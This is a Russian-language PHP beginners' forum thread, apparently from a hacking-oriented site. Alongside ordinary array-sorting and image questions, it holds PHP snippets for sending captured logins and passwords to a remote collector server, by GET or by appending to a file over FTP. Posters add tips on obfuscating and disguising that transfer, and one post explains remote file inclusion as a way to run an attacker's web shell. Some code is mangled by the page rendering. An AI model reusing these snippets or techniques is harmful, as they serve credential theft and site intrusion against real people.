[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. .:nbd:.

    .:nbd:. Elder - Старейшина

    Joined:
    27 Jul 2008
    Messages:
    97
    Likes Received:
    27
    Reputations:
    1
    ИМХО только через БД, остальное костыли.
     
    1 person likes this.
  2. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Red_Red1 пример каг бе из мануала. Захочется в обратном порядке сортировать - сделаете вместо одной функции - класс. Пример так же тут: http://ru2.php.net/manual/ru/function.usort.php

    PHP:
    function cmp($a$b
    {
        return 
    strcmp($a["Familiya"], $b["Familiya"]);
    }

    $arr[1]['Familiya'] = 'Петров';
    $arr[1]['Imya'] = 'Николай';
    $arr[1]['Otchestvo'] = 'Петрович';

    $arr[2]['Familiya'] = 'Иванов';
    $arr[2]['Imya'] = 'Сергей';
    $arr[2]['Otchestvo'] = 'Павлович';

    $arr[3]['Familiya'] = 'Сидоров';
    $arr[3]['Imya'] = 'Максим';
    $arr[3]['Otchestvo'] = 'Викторович';

    usort($arr"cmp");

    foreach(
    $arr as $key => $value)
     {
        echo 
    "\$arr[$key]: " $value['Familiya'].":".$value['Imya'].":".$value['Otchestvo']. "
    "
    ;
     
    _________________________
    3 people like this.
  3. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    PHP:
    <?
    function 
    mm($a1$a2){
        return 
    strcmp(substr($a1,3),substr($a2,3));
    }

    function 
    mm1($a1$a2){
        return 
    strcmp(substr($a2,3),substr($a1,3));
    }
        
    function 
    srt($arr$num$tip 0){        #    $num - имя столбца для сортировки;    $tip - вид сортировки, 0 - обычный порядок, 1 - обратный;

        
    $abc = array();
        
    $fin = array();
        
            foreach(
    $arr as $k=>$v){
                
    $abc[] = $k.'::'.$arr[$k][$num];
            }
        if (!
    $tipusort($abc'mm');
            else 
    usort($abc'mm1');
        
        foreach(
    $abc as $elf$fin[] = $arr[substr($elf,0,1)];
        return 
    $fin;
    }
    #    например вот сортировка по имени в обратном порядке, если взать таблу придложенную гифтсом
    srt($a,'Imya',1);
    ?>
     
    3 people like this.
  4. kalpsik

    kalpsik Elder - Старейшина

    Joined:
    10 Jan 2007
    Messages:
    58
    Likes Received:
    18
    Reputations:
    0
    PHP:
    mysql_connect("servername""login""password");
    mysql_select_db("database");
    mysql_query("set names cp1251"); //так, на всякий случай=)
    mysql_query("insert into table (row_login, row_pass) values ('$who', '$pass')");
     
    1 person likes this.
  5. PaCo

    PaCo Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    436
    Likes Received:
    138
    Reputations:
    25
    ты так ничего не запишешь, на удаленом сервере должен стоять такой же скрипт:
    PHP:
    $in=strip_tags(@$_GET['in']); 
    if(!
    emtpy($in)){
    $fp fopen("logs_name.txt","a+"); 
    fwrite($fp"Логин: $who  Пароль: $pass \n");
    fclose($fp);
    }
     
    1 person likes this.
  6. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    хуяссе .. если б так можно было, я б захватил инет :D
    PHP:
    fopen("ftp://blabla:[email protected]/log.txt""a");
    и кстете, зачем ты писал a+ ?? ты вроде только пишешь .. так что ставь просто а.

    -----------
    2 PaCo
    а это нах ??? o_O лучше уже прикрутить ещё третий сервер, на который будут передаваться данные с первого, а уже с третьего - будут на второрй :D
     
    1 person likes this.
  7. PaCo

    PaCo Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    436
    Likes Received:
    138
    Reputations:
    25
    это на удаленом серваке:
    PHP:
    <?php
     $who
    =strip_tags(urldecode(@$_GET['who'])); 
     
    $pass=strip_tags(urldecode(@$_GET['pass'])); 

    if(!
    emtpy($who) &&  !emtpy($pass)){
    $fp fopen("logs_name.txt","wb"); 
    fwrite($fp"Логин: $who  Пароль: $pass \n");
    fclose($fp);

    ?>

    на том с которого осылаешь:

    PHP:
    <?php
    $who
    =urlencode("root");
    $pass=urlencode("паролик");
    $addr="http://адрессудаленгосерва/путь_к_скрипту.php?pass=$pass&who=$who";
    file_get_contents($addr);

    ?>
     
    #6647 PaCo, 9 Dec 2008
    Last edited: 9 Dec 2008
    1 person likes this.
  8. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    2 PaCo
    нах это делать гетом ?
    и почему не открывать fopen'ом фтп ? в чём прикол? чем сложнее - тем веселее? ну так реализуй вариант ещё веселей, описаный постом выше, с использованием 3х серверов...
     
  9. PaCo

    PaCo Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    436
    Likes Received:
    138
    Reputations:
    25
    Я написал так просто что бы показать направления, а с фтп - у него может не оказаться учетки фтп ни на одном хосте. Но раз вы знаток то почему вам не сделать на ssh2 что бы усложнить и так не доконца понятное ему с использованием простых перелинков и посмеяться уже до укачки? Имхо fopen("ftp://blabla:[email protected]/log.txt", "a") - такой способ еше менее безопасный чем мой.
     
  10. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    в чём? может я чего-то не знаю .. с радостью выслушаю развёрнутый ответ ..
     
  11. PaCo

    PaCo Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    436
    Likes Received:
    138
    Reputations:
    25
    в том что если кто-то получит доступ к сайту его ждет бонус в качестве доступа по ftp на другой сайт. И знаете вы это лутчше чем я :)(ответ получился завернутый).
     
  12. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    нуу.. в этом смысле .. ну это конечно да, но в принципе, если сделать небольшую обфускацию, то взломщик не заметит этот самый фтп, если конечно не будет копаться в скрипте сиьлно, или ещё хуже - тестить на локалке со снифаньем ..
    но кому это нах надо ?
    а вот гетом перелавать, это точно никому не надо .. если юзать скрипт на 2ом сервере, лучше уж передавать постом и сделать небольшую автозамены некоторых символов в скриптах, для большей уверенности ..
     
  13. PaCo

    PaCo Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    436
    Likes Received:
    138
    Reputations:
    25
    согласен на 100%, энто я так для примера(пример вышел ламерский этно да, но каков вопрос таков ответ), можно вообше открывать сокет, маскировать переменные под плюшки, а уже на втором скрипте брать эти самые плюшки, можно еше что то типа авторизации сделать, короче на что хФатит фантазии и времени.
     
    1 person likes this.
  14. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5
    Подскажите как менять пропорции кортинки и как две объеденить в одну?
     
  15. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    http://www.php.net/manual/ru/ref.image.php
     
  16. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5
    Посоветуйте справочник на русско со фсеми функциями php,,,,???
     
  17. ronald

    ronald Elder - Старейшина

    Joined:
    27 Mar 2008
    Messages:
    252
    Likes Received:
    42
    Reputations:
    6
    Народ, объясните плз, что такое php-инклуд и как его реализовать через переменную?
     
  18. Ru}{eeZ

    Ru}{eeZ Elder - Старейшина

    Joined:
    19 Feb 2008
    Messages:
    454
    Likes Received:
    73
    Reputations:
    -5
    Дмитрий Котёров, Алексей Костарёв PHP5 2-е издание
    много чего)
    + основные - PHP справочник O'RELLY
     
  19. Buffalon

    Buffalon Elder - Старейшина

    Joined:
    22 Mar 2008
    Messages:
    241
    Likes Received:
    34
    Reputations:
    8
    Если ты про PHP-in
    то

    PHP:
    incude xXx.php;
    Сама бага заключается когда делают так

    Допустим на сайте my.ru ->написанно вот это
    PHP:
    incude $per/xXx.php;
    Тогда если заместо $per подставить
    http://mysite.ru​
    И если зальём наш ШЕЛЛ по адресу http://mysite.ru/xXx.php

    То мы запустим наш ШЕЛЛ

    Думаю ты понял ! :rolleyes:
     
    #6659 Buffalon, 9 Dec 2008
    Last edited: 9 Dec 2008
  20. ronald

    ronald Elder - Старейшина

    Joined:
    27 Mar 2008
    Messages:
    252
    Likes Received:
    42
    Reputations:
    6
    не полностью, но понял.
    Можно ли самому инклюдить на сервер свой скрипт, к примеру:
    www.mysite.ru/blah-blah.php?blah={инклуд}
    возможно ли это?
     
Thread Status:
Not open for further replies.